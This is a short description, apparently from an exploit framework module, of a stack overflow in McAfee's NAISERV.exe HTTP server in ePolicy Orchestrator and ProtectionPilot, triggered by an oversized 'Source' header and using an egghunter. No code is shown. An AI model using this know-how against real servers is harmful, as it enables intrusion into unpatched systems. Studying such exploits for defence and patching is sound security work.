				This is an exploit for the McAfee HTTP Server (NAISERV.exe).
				McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are
				known to be vulnerable. By sending a large 'Source' header, the stack can
				be overwritten. This module is based on the exploit by xbxice and muts.
				Due to size constraints, this module uses the Egghunter technique. You may
				wish to adjust WfsDelay appropriately.
